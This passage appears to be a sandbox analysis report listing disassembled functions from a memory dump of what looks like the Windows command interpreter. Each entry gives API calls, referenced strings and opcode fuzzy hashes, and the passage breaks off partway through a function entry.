Instruction Fuzzy Hash: F911A731A40518EB8B21BB689C4C57E77B8FB95764B54827CE916E2158DF70CD02C592

Uniqueness

Uniqueness Score: -1.00%

Function 00882DD2, Relevance: 15.4, APIs: 10, Instructions: 400COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00882E1C
memset.MSVCRT ref: 00882E40
memset.MSVCRT ref: 00882E64
memset.MSVCRT ref: 00882E88

Part of subcall function 00880C70: ??_V@YAXPAX@Z.MSVCRT ref: 00880CBA
Part of subcall function 00880C70: memset.MSVCRT ref: 00880CDD

??_V@YAXPAX@Z.MSVCRT ref: 00882F81
??_V@YAXPAX@Z.MSVCRT ref: 00882F8E
??_V@YAXPAX@Z.MSVCRT ref: 00882F9B
??_V@YAXPAX@Z.MSVCRT ref: 00882FA5

Part of subcall function 00884E94: GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(00000000,?,?,00882F2C,-00000001,-00000001,-00000001,-00000001), ref: 00884ED6

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: memset$BufferConsoleInfoScreen
String ID:
API String ID: 1034426908-0
Opcode ID: 4c78d8136733d4b305a858396e50191ca87b832d022e4c3a90ed1e1a89819ed5
Instruction ID: 2328b713bb2292effa5b30e324b401c0dc5043bbfdda5d9431320940ed2f8ec6
Opcode Fuzzy Hash: 4c78d8136733d4b305a858396e50191ca87b832d022e4c3a90ed1e1a89819ed5
Instruction Fuzzy Hash: 10E1BE71A006199FDB24EF29CC85BAABBB5FF44314F1441A9E949D7241EB34EE80CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0087BF30, Relevance: 15.3, APIs: 10, Instructions: 259COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0087BF80
GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,?,-00000105), ref: 0087BFC6
CreateDirectoryW.API-MS-WIN-CORE-FILE-L1-1-0(?,00000000), ref: 0087BFE1
??_V@YAXPAX@Z.MSVCRT ref: 0087BFF2

Part of subcall function 008829BB: GetDriveTypeW.API-MS-WIN-CORE-FILE-L1-1-0(00880B22,00880B22,00007FE7), ref: 008829E9

GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 0087C00E
CreateDirectoryW.API-MS-WIN-CORE-FILE-L1-1-0(?,00000000), ref: 0087C0C0
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 0087C0CA
CreateDirectoryW.API-MS-WIN-CORE-FILE-L1-1-0(?,00000000), ref: 0087C0E5
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 0088A502

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: CreateDirectoryErrorLast$DriveFullNamePathTypememset
String ID:
API String ID: 402963468-0
Opcode ID: 06047b257e29f02734fc2697a9d3bd1a89536ce15488867087b6d3cb0e93c2e7
Instruction ID: 23555f44adce0fbd49bad712f11746753e6de1edb9f8595cd0ff593d40a7b370
Opcode Fuzzy Hash: 06047b257e29f02734fc2697a9d3bd1a89536ce15488867087b6d3cb0e93c2e7
Instruction Fuzzy Hash: F481F630A0061ADAEF28EF55DC89BBAB7B5FF48714F14806AE509D7295E770CD80CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0089396E, Relevance: 15.2, APIs: 10, Instructions: 153fileCOMMON

Download Yara Rule

APIs

SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0(00000000,00000000,00000000,00000001,0000000A,00000000,00000001,?,00893B43,?,?,?,0089977C), ref: 0089398D
AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(008B7F20,?,00893B43,?,?,?,0089977C), ref: 008939A9
ReadFile.API-MS-WIN-CORE-FILE-L1-1-0(00000000,0089D620,?,?,00000000,?,00893B43,?,?,?,0089977C), ref: 008939BA
ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(008B7F20,?,00893B43,?,?,?,0089977C), ref: 008939C3
memcmp.MSVCRT ref: 00893A02
MultiByteToWideChar.API-MS-WIN-CORE-STRING-L1-1-0(?,00000000,?,008B7F20,?,?,?,00893B43,?,?,?,0089977C), ref: 00893A93
SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00000000,00000000,?,00893B43,?,?,?,0089977C), ref: 00893ABE
AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(008B7F20,?,00893B43,?,?,?,0089977C), ref: 00893ACB
ReadFile.API-MS-WIN-CORE-FILE-L1-1-0(?,0089D621,00000001,0089977C,00000000,?,00893B43,?,?,?,0089977C), ref: 00893AE0
ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(008B7F20,?,00893B43,?,?,?,0089977C), ref: 00893AED

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: FileLockShared$AcquirePointerReadRelease$ByteCharMultiWidememcmp
String ID:
API String ID: 2002953238-0
Opcode ID: c03430bfa474ef6dcc9dd417c9a2371d0a705d894ec113a404dd97a1ec6108d4
Instruction ID: 7af6d826b39eaa33c6a938707148bd02c6305815c64ecd1522108c5bf74828e7
Opcode Fuzzy Hash: c03430bfa474ef6dcc9dd417c9a2371d0a705d894ec113a404dd97a1ec6108d4
Instruction Fuzzy Hash: EC51C072E04618AFDF21AF58CC45BB9BBF9FF45310F184159F995EA290C6748E40CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0087CDA2, Relevance: 15.1, APIs: 5, Strings: 5, Instructions: 97COMMON

Download Yara Rule

APIs

_wcsicmp.MSVCRT ref: 0087CDD6
_wcsicmp.MSVCRT ref: 0087CDEC
_wcsicmp.MSVCRT ref: 0087CE0B
_wcsicmp.MSVCRT ref: 0087CE2A
_wcsicmp.MSVCRT ref: 0087CE3C

Strings

NOT, xrefs: 0087CE37
CMDEXTVERSION, xrefs: 0087CE06
DEFINED, xrefs: 0087CE25
ERRORLEVEL, xrefs: 0087CDD1
EXIST, xrefs: 0087CDE7

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: _wcsicmp
String ID: CMDEXTVERSION$DEFINED$ERRORLEVEL$EXIST$NOT
API String ID: 2081463915-1668778490
Opcode ID: 00001a68ae5b40097935e82bd04761521233f42d9dfc09c72eed6526a7ff8727
Instruction ID: dd62c7338214c2418db8bb360f848e70117cf987fbe7803f7ff0138678d91925
Opcode Fuzzy Hash: 00001a68ae5b40097935e82bd04761521233f42d9dfc09c72eed6526a7ff8727
Instruction Fuzzy Hash: BE21EA722046059AE7382B7ADC16B267BC9FB453A4F24C41EE19ED22C5EF79DC00C266

Uniqueness

Uniqueness Score: -1.00%

Function 0087D97E, Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 268COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0087D9BE

Part of subcall function 00880C70: ??_V@YAXPAX@Z.MSVCRT ref: 00880CBA
Part of subcall function 00880C70: memset.MSVCRT ref: 00880CDD

_get_osfhandle.MSVCRT ref: 0087DAA6
_get_osfhandle.MSVCRT ref: 0087DAB7
??_V@YAXPAX@Z.MSVCRT ref: 0087DB53

Strings

DPATH, xrefs: 0088BAB0

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: _get_osfhandlememset
String ID: DPATH
API String ID: 3784859044-2010427443
Opcode ID: ec238e6946c4d607f9dff0002921de1c11cafe350e9a10b4d01d22a75d4661aa
Instruction ID: a5b51d5235f3f2a32363268bc925923f735592eed37ec28cd25753169046a7e8
Opcode Fuzzy Hash: ec238e6946c4d607f9dff0002921de1c11cafe350e9a10b4d01d22a75d4661aa
Instruction Fuzzy Hash: A6910731A01316AFCB24BF68CC85A6AF7B1FF44320B188659E51DD7299DB30ED50CB91

Uniqueness

Uniqueness Score: -1.00%

Function 008959E6, Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 211registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,00000000,02000000,?), ref: 00895AEF
RegCreateKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,00000000,00000000,00000000,02000000,00000000,?,?), ref: 00895B7B
RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0(?), ref: 00895BA2
RegSetValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,008724AC,00000000,00000002,?,00000000), ref: 00895C13
RegDeleteValueW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,00000000), ref: 00895C4F
RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0(?), ref: 00895C71

Strings

%s=%s, xrefs: 00895C21
\Shell\Open\Command, xrefs: 00895A91

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: CloseValue$CreateDeleteOpen
String ID: %s=%s$\Shell\Open\Command
API String ID: 4081037667-3301834661
Opcode ID: 2e0f782a527beab24ac1b7cdff3699cfe69e3bf490b83c2447d0274e811ad8fa
Instruction ID: 821878089c8483670e1d9094dccef039fe9e086fb6bf1a25ef1fe04271c415ad
Opcode Fuzzy Hash: 2e0f782a527beab24ac1b7cdff3699cfe69e3bf490b83c2447d0274e811ad8fa
Instruction Fuzzy Hash: 96712B71E4062A9BDF316B18CC85BA973B5FF54700F1842A9F949E7290EB719E808B91

Uniqueness

Uniqueness Score: -1.00%

Function 00896B30, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 140COMMON

Download Yara Rule

APIs

towupper.MSVCRT ref: 00896B89
iswalpha.MSVCRT ref: 00896BBC
towupper.MSVCRT ref: 00896BCF
GetVolumeInformationW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00000101,?,00000000,00000000,00000000,00000000), ref: 00896C01
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00896C16
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00896C23

Strings

%04X-%04X, xrefs: 00896C8A
:\, xrefs: 00896B4C

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: ErrorLasttowupper$InformationVolumeiswalpha
String ID: :\$%04X-%04X
API String ID: 4001382275-3541097225
Opcode ID: 696e784f4f6c41669de3dd03e28041388a96115d46fa138e2be1d46b0afe8e82
Instruction ID: 98b148de42ef21d8e69ae95049b8a96948cd8715653ae814f2fe761b2d406802
Opcode Fuzzy Hash: 696e784f4f6c41669de3dd03e28041388a96115d46fa138e2be1d46b0afe8e82
Instruction Fuzzy Hash: E541FD726042106ADB20BB659C4AEB777ECFF88714F04441DF9C9C6280FA74DA40D7A2

Uniqueness

Uniqueness Score: -1.00%

Function 0089587B, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 122registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,00000000,00000000,00000000,00000002,00000000,?,00000000,0089C0E0,00000018,00894B14,00000000,00000003), ref: 008958AF
RegSetValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,00000000,00000000,00000001,?,00000000,?,?,00000000,00000000,00000000,00000002,00000000,?,00000000,0089C0E0), ref: 008958E5
RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,00000000,00000000,00000000,00000002,00000000,?,00000000,0089C0E0,00000018,00894B14,00000000,00000003), ref: 008958F3
RegDeleteKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,00000000,00000000,0089C0E0,00000018,00894B14,00000000,00000003), ref: 00895930
RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,00000000,02000000,?,?,?,00000000,00000000,0089C0E0,00000018,00894B14,00000000,00000003), ref: 0089594D
RegDeleteValueW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,008724AC,?,00000000,02000000,?,?,?,00000000,00000000,0089C0E0,00000018,00894B14,00000000,00000003), ref: 00895974
RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,00000000,02000000,?,?,?,00000000,00000000,0089C0E0,00000018,00894B14,00000000,00000003), ref: 0089598F

Strings

%s=%s, xrefs: 00895901

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: CloseDeleteValue$CreateOpen
String ID: %s=%s
API String ID: 1019019434-1087296587
Opcode ID: 13b0a91d705c9f0cc3a6bcd3e422c8c1707f9fe99ba097fd6156f28a78b42741
Instruction ID: 0e5a39a8576b269d66fd0168ff34bcf7f0b4a77330730d0382b9f87d0be81297
Opcode Fuzzy Hash: 13b0a91d705c9f0cc3a6bcd3e422c8c1707f9fe99ba097fd6156f28a78b42741
Instruction Fuzzy Hash: A031A071D01A14FAEF32AB559C09EAF7F78FB89B60F084109F909FA250D6258D01CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 008953E0, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 114libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExW.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(NTDLL.DLL,00000000,00000000,?,00000000,?), ref: 00895414
GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(00000000,NtQueryInformationProcess), ref: 00895429
ReadProcessMemory.API-MS-WIN-CORE-MEMORY-L1-1-0(?,?,?,00000470,?), ref: 00895487
ReadProcessMemory.API-MS-WIN-CORE-MEMORY-L1-1-0(?,?,?,00000004,00000000), ref: 008954D3
ReadProcessMemory.API-MS-WIN-CORE-MEMORY-L1-1-0(?,?,?,00000002,00000000), ref: 008954FA
ReadProcessMemory.API-MS-WIN-CORE-MEMORY-L1-1-0(?,00000000,?,00000002,00000000), ref: 00895531

Strings

NTDLL.DLL, xrefs: 0089540F
NtQueryInformationProcess, xrefs: 00895423

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: MemoryProcessRead$AddressLibraryLoadProc
String ID: NTDLL.DLL$NtQueryInformationProcess
API String ID: 1580871199-2613899276
Opcode ID: d3f762af1f8291bd1a492bdac1b87697f14301922ad785d0a3f8eb99dcb48d7b
Instruction ID: 0eb95263e6cb32c45d101212ef177cbced634cd6243ac7b29b434a5f5b3c71d6
Opcode Fuzzy Hash: d3f762af1f8291bd1a492bdac1b87697f14301922ad785d0a3f8eb99dcb48d7b
Instruction Fuzzy Hash: 4041B4B1A01119EBDF219B24DC84ABE777CFB44714F0441A8FA49E3251DB349E41CF69

Uniqueness

Uniqueness Score: -1.00%

Function 00875DB5, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 108fileCOMMON

Download Yara Rule

APIs

_wcsicmp.MSVCRT ref: 00875E10
CreateFileW.API-MS-WIN-CORE-FILE-L1-1-0(00000000,80000000,00000001,08000080,00000003,08000080,00000000), ref: 00875E43
_open_osfhandle.MSVCRT ref: 00875E57
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0(00000000), ref: 00889D2B

Strings

con, xrefs: 00875DF6

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: CloseCreateFileHandle_open_osfhandle_wcsicmp
String ID: con
API String ID: 689241570-4257191772
Opcode ID: b14ef12d0785f18bc10dd9f4301b1eb634ec878171ed1e24c79be23bf9250931
Instruction ID: 2181b2ec0b4757f52a703d72a782971b262dea13ee3a05d1c9c6745ea3f87070
Opcode Fuzzy Hash: b14ef12d0785f18bc10dd9f4301b1eb634ec878171ed1e24c79be23bf9250931
Instruction Fuzzy Hash: 51314D32A005149FE734AB689C49B7F7BE9FB45734F244329E965E32D0DBB09E018750

Uniqueness

Uniqueness Score: -1.00%

Function 0089554F, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 99memoryfileCOMMON

Download Yara Rule

APIs

CreateFileW.API-MS-WIN-CORE-FILE-L1-1-0(?,80000000,00000001,00000000,00000003,00000080,00000000,?,00000000,00000104), ref: 00895584
SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0(00000000,?,00000000,00000000,00000040), ref: 008955BE
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,?,00000014,00000004), ref: 00895601
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000), ref: 00895608
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,00000000,?), ref: 0089563A
RtlFreeHeap.NTDLL(00000000), ref: 00895641
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0(00000000,00000040), ref: 00895648

Strings

PE, xrefs: 008955D9

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: Heap$FileProcess$AllocCloseCreateFreeHandlePointer
String ID: PE
API String ID: 3093239467-4258593460
Opcode ID: 3b631ac39951eb8c9def15fea0ba8267d7440cee387cc6727af7d11254ff6776
Instruction ID: fcbd0cc40686f70bf9222b07a33c8d93f65e9bae9d21f21c32de0542aff034f4
Opcode Fuzzy Hash: 3b631ac39951eb8c9def15fea0ba8267d7440cee387cc6727af7d11254ff6776
Instruction Fuzzy Hash: 3831B634600A14A6DF137B698C08F7E776AFB95B15F480214FE95D61C0EB34C902CB65

Uniqueness

Uniqueness Score: -1.00%

Function 008984FE, Relevance: 13.6, APIs: 9, Instructions: 96fileCOMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 0089850D
FlushFileBuffers.API-MS-WIN-CORE-FILE-L1-1-0(00000000,00898CE3,?,?,?,?,?,00000000,?,?,?,?,?,?,?,?), ref: 00898515

Part of subcall function 0087DB92: _close.MSVCRT ref: 0087DBC1

_get_osfhandle.MSVCRT ref: 0089855B
SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0(00000000,?,?,?,?,?,?,?,00000000,00000000), ref: 00898563
_get_osfhandle.MSVCRT ref: 00898575
ReadFile.API-MS-WIN-CORE-FILE-L1-1-0(00000000,?,?,?,?,?,?,00000000,00000000), ref: 0089857D
memcmp.MSVCRT ref: 0089859F
_get_osfhandle.MSVCRT ref: 008985D0
SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 008985D8

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: File_get_osfhandle$Pointer$BuffersFlushRead_closememcmp
String ID:
API String ID: 332413853-0
Opcode ID: 77a04fb39c7d9394feb33e0bcb2ca7fd1096ba076dba5586b44506af5be34eae
Instruction ID: 376af83fe06a52b3c7219c635f3f488af217ea91111d67603a69909e45ae542f
Opcode Fuzzy Hash: 77a04fb39c7d9394feb33e0bcb2ca7fd1096ba076dba5586b44506af5be34eae
Instruction Fuzzy Hash: BA218271600215EBDF286B699C4EE7B3BAAFF86360B158629F519C6194DE708C04C651

Uniqueness

Uniqueness Score: -1.00%

Function 008781E0, Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 253COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00878254
memset.MSVCRT ref: 00878280

Part of subcall function 00880C70: ??_V@YAXPAX@Z.MSVCRT ref: 00880CBA
Part of subcall function 00880C70: memset.MSVCRT ref: 00880CDD

??_V@YAXPAX@Z.MSVCRT ref: 008783BB
??_V@YAXPAX@Z.MSVCRT ref: 008783C9

Strings

%s, xrefs: 00890314

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: memset
String ID: %s
API String ID: 2221118986-3043279178
Opcode ID: 3c5f8e7002f6b5d0ffc4e2998a2d26923cc62484c7286374911e3a85ff5b92c0
Instruction ID: 07cb3b0729cd81e2c2972da090bcf80e4fa3cbc33ee68429f7dfaa03f37a435e
Opcode Fuzzy Hash: 3c5f8e7002f6b5d0ffc4e2998a2d26923cc62484c7286374911e3a85ff5b92c0
Instruction Fuzzy Hash: 9A917BB1208341DFDB24EF58C899B6AB7E5FF84704F08452DE989C7251DB34E904CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00878F70, Relevance: 12.4, APIs: 8, Instructions: 447COMMON

Download Yara Rule

APIs

Part of subcall function 008800B0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,?,?,0087DF68,00000001,?,00000000,00883458,-00000105,0089BDD8,00000240,00884B82,00000000,00000000,0088AE6E,00000000), ref: 008800C1
Part of subcall function 008800B0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,0087DF68,00000001,?,00000000,00883458,-00000105,0089BDD8,00000240,00884B82,00000000,00000000,0088AE6E,00000000,?), ref: 008800C8

_wcsnicmp.MSVCRT ref: 008791B7
wcstol.MSVCRT ref: 008791FC
wcstol.MSVCRT ref: 0087928A
longjmp.MSVCRT(?,000000FF,987DC5F4,-00000002,?,00000000), ref: 008908B2
longjmp.MSVCRT(?,000000FF), ref: 008908C6

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: Heaplongjmpwcstol$AllocProcess_wcsnicmp
String ID:
API String ID: 2863075230-0
Opcode ID: 3b6a0ebdc27855605c58b4ab852fe6852020e4b9bdf889fe702bd41a38b84ffc
Instruction ID: 3236b2971dbb09d19c14d8b66bbf3a13c2a472795f477939020642a714cdb4e8
Opcode Fuzzy Hash: 3b6a0ebdc27855605c58b4ab852fe6852020e4b9bdf889fe702bd41a38b84ffc
Instruction Fuzzy Hash: 81F1A275D0021A8BCF24DF98C8906BEB7B5FF88714F198259D85AE7388EB759D01CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00884F66, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0088501F

Part of subcall function 00880C70: ??_V@YAXPAX@Z.MSVCRT ref: 00880CBA
Part of subcall function 00880C70: memset.MSVCRT ref: 00880CDD

memset.MSVCRT ref: 00885098
GetEnvironmentVariableW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(DIRCMD,00000000,00000000,?,?,-00000001,?,00000002,00000000), ref: 008850A7
GetEnvironmentVariableW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(DIRCMD,?,?,00000000,?,?,-00000001,?,00000002,00000000), ref: 008850E1
??_V@YAXPAX@Z.MSVCRT ref: 0088516F
??_V@YAXPAX@Z.MSVCRT ref: 0088517D

Strings

DIRCMD, xrefs: 008850A2, 008850DC

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: memset$EnvironmentVariable
String ID: DIRCMD
API String ID: 1405722092-1465291664
Opcode ID: 52655effcbf9714eb580c021b5b304566b17a58785d4c354f1d87cc029c25c93
Instruction ID: e121bd59e85be5422937a1c4f7a634e2dee06f11c53fc86c7fe9347b975a76b9
Opcode Fuzzy Hash: 52655effcbf9714eb580c021b5b304566b17a58785d4c354f1d87cc029c25c93
Instruction Fuzzy Hash: 097123B1A0C7819FD764EF29D88569BBBE4FF94304F10492EF299C2261DB309908CB57

Uniqueness

Uniqueness Score: -1.00%

Function 0089196F, Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 120COMMON

Download Yara Rule

APIs

CreateSemaphoreExW.API-MS-WIN-CORE-SYNCH-L1-1-0(00000000,00000000,00000000,?,00000000,001F0003,00000000,?,?,00000000), ref: 00891A4D
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00891A5F
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0(00000104), ref: 00891A68
SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000), ref: 00891A81

Strings

internal\sdk\inc\wil\ResultMacros.h, xrefs: 00891AAC
_p0, xrefs: 008919EB
wil, xrefs: 00891AC5

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: ErrorLast$CloseCreateHandleSemaphore
String ID: _p0$internal\sdk\inc\wil\ResultMacros.h$wil
API String ID: 2276426104-46676964
Opcode ID: b5b3714fd22d0d52f767aab38a78ec012dd5eabd756a46a1d99143e3d33339cf
Instruction ID: 95030a5b296c0b2c05b8f60c55ca95ab178694c34e62447db35b753d91676514
Opcode Fuzzy Hash: b5b3714fd22d0d52f767aab38a78ec012dd5eabd756a46a1d99143e3d33339cf
Instruction Fuzzy Hash: 92410231B4512A9BCF24BF28DD99BAA77A5FF95310F184268E809D7384DA74CD0087A1

Uniqueness

Uniqueness Score: -1.00%

Function 00876785, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 73COMMON

Download Yara Rule

APIs

iswdigit.MSVCRT ref: 008767A5
wcschr.MSVCRT ref: 008767B6
wcschr.MSVCRT ref: 008767C9
wcschr.MSVCRT ref: 008767ED
wcschr.MSVCRT ref: 00876804

Strings

+-~!, xrefs: 008767C3, 008767C8, 008767EC
<>+-*/%()|^&=,, xrefs: 008767B1, 008767FF

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: wcschr$iswdigit
String ID: +-~!$<>+-*/%()|^&=,
API String ID: 2770779731-632268628
Opcode ID: d2986daa309b0223ba29e18f324f34c1391bf00a305aca82bc7750fca4ccfb29
Instruction ID: 4ab1354845073f04c4982fcbf7a36c40210f2c43dd77f4298c9870da35f866d7
Opcode Fuzzy Hash: d2986daa309b0223ba29e18f324f34c1391bf00a305aca82bc7750fca4ccfb29
Instruction Fuzzy Hash: 6F11C4762046029F9B289F19E84887677E8FF9A776320843EF588C3684FB31DC109661

Uniqueness

Uniqueness Score: -1.00%

Function 0087B610, Relevance: 12.2, APIs: 8, Instructions: 188COMMON

Download Yara Rule

APIs

Part of subcall function 0088269C: _get_osfhandle.MSVCRT ref: 008826A7
Part of subcall function 0088269C: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(00000000,0087C5F8,?,?,?), ref: 008826B6
Part of subcall function 0088269C: GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(000000F6,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0087C5C6), ref: 008826D2
